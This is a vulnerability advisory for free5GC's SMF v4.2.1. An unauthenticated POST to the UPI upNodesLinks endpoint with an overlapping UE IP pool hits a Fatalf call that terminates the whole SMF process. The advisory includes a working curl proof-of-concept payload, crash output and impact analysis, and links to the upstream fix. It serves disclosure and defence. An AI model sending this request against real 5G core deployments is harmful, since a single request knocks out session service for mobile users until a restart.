free5GC's SMF UPI POST /upi/v1/upNodesLinks exits the SMF process on overlapping UE pools (unauthenticated, reachable Fatalf)

Summary

free5GC's SMF mounts the UPI management route group without inbound OAuth2 middleware (same root cause as free5gc/free5gc#887). The POST /upi/v1/upNodesLinks create-or-update handler accepts attacker-controlled JSON and passes it directly into UpNodesFromConfiguration(), which calls logger.InitLog.Fatalf(...) on several validation failures. One confirmed path is the UE-IP-pool overlap check: a single unauthenticated POST that adds a new UPF whose pool overlaps an existing UPF terminates the entire SMF process (docker ps shows Exited (1)), not just the goroutine. This is a stronger sink than free5gc/free5gc#905: that one panics inside the request goroutine and Gin recovers; this one calls Fatalf which is os.Exit(1)-equivalent and kills the whole SMF process, dropping all of SMF's SBI surface (PDU-session establishment, UE policy lookups, etc.) until the process is restarted.

Details

Validated against the SMF container in the official Docker compose lab.
- Source repo tag: v4.2.1
- Running Docker image: free5gc/smf:v4.2.1
- Runtime SMF commit: 8385c00a
- Docker validation date: 2026-03-22 local (container log timestamp 2026-03-21T23:47:07Z)
- SMF endpoint: http://10.100.200.6:8000

The broader UPI auth gap (#887) lets the unauthenticated POST reach the create/update handler. From there:

Vulnerable handler dispatches into topology parsing:

POST /upi/v1/upNodesLinks
 -> UpNodesFromConfiguration()
   -> isOverlap(allUEIPPools)
     -> logger.InitLog.Fatalf("overlap cidr value between UPFs")

Code evidence (paths in free5gc/smf):
- UPI group mounted WITHOUT auth middleware (preconditions for unauthenticated reachability):
- NFs/smf/internal/sbi/server.go:76
- NFs/smf/internal/sbi/server.go:78
- Create-or-update handler accepts attacker JSON and forwards it to UpNodesFromConfiguration():
- NFs/smf/internal/sbi/api_upi.go:60
- NFs/smf/internal/sbi/api_upi.go:72
- Pool parsing (input from attacker JSON):
- NFs/smf/internal/context/user_plane_information.go:413
- Overlap check that calls Fatalf:
- NFs/smf/internal/context/user_plane_information.go:479

The same unauthenticated POST path also reaches sibling Fatalf calls for invalid-pool and static-pool-exclusion failures, so this is not a one-off code smell -- it is a class of attacker-reachable Fatalf call sites on a single unauthenticated handler:
- NFs/smf/internal/context/user_plane_information.go:416
- NFs/smf/internal/context/user_plane_information.go:424
- NFs/smf/internal/context/user_plane_information.go:430

PoC

Reproduced end-to-end against the running SMF at http://10.100.200.6:8000.

1. Trigger: unauthenticated POST that adds a UPF with a UE pool overlapping the default UPF (10.60.0.0/16):

curl -i -X POST http://10.100.200.6:8000/upi/v1/upNodesLinks \
  -H 'Content-Type: application/json' \
  --data '{"links":[{"A":"gNB1","B":"UPF-OVERLAP-20260322"}],"upNodes":{"UPF-OVERLAP-20260322":{"type":"UPF","nodeID":"198.51.100.20","addr":"198.51.100.20","sNssaiUpfInfos":[{"sNssai":{"sst":1,"sd":"010203"},"dnnUpfInfoList":[{"dnn":"internet","pools":[{"cidr":"10.60.0.0/16"}]}]}]}}}'

Client-side observation (server died mid-request, no HTTP response written):

curl: (52) Empty reply from server

2. Confirm the SMF container exited:

docker ps -a --filter name=smf --format '{{.Names}}\t{{.Status}}'

smf    Exited (1) 9 seconds ago

3. SMF container logs (docker logs --tail 80 smf) show the FATA line that terminated the process:

[FATA][SMF][Init] overlap cidr value between UPFs

Impact

Unauthenticated process-kill DoS on the SMF management plane.

1. Missing inbound authentication (CWE-306) and authorization (CWE-862) on the UPI route group makes the trigger reachable to any off-path network attacker who can reach SMF on the SBI -- no token, no UE state needed. The same-instance nsmf-oam returning 401 (see free5gc/free5gc#887) proves OAuth middleware is wired in for other SMF route groups and only missing on UPI.
2. Reachable assertion / fail-fast (CWE-617): topology parsing calls logger.InitLog.Fatalf(...) on attacker-influenced validation failures. Fatalf is os.Exit(1)-equivalent -- it skips Gin's recovery, the deferred handlers, and kills the whole SMF process. This is materially worse than the related panic-DoS in free5gc/free5gc#905, which Gin recovers from at the goroutine level.

Any party that can reach SMF on the SBI can:
- Send one unauthenticated POST with an overlapping UE pool and immediately terminate the SMF process, dropping all of SMF's SBI surface (PDU-session establishment, UE policy interactions) until SMF is restarted.
- Repeat the trigger after every restart to sustain the outage.
- Use sibling Fatalf paths (invalid-pool, static-pool exclusion) to sustain the same DoS even if the overlap check is hardened in isolation, because the underlying defect is using Fatalf for request-time validation on an unauthenticated handler.

No Confidentiality impact (the crash returns no data to the attacker). No persistent Integrity impact (the topology updates are in-memory and are lost when SMF dies). The whole impact concentrates in Availability: complete loss of SMF service via a single unauthenticated request.

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/906
Upstream fix: https://github.com/free5gc/smf/pull/203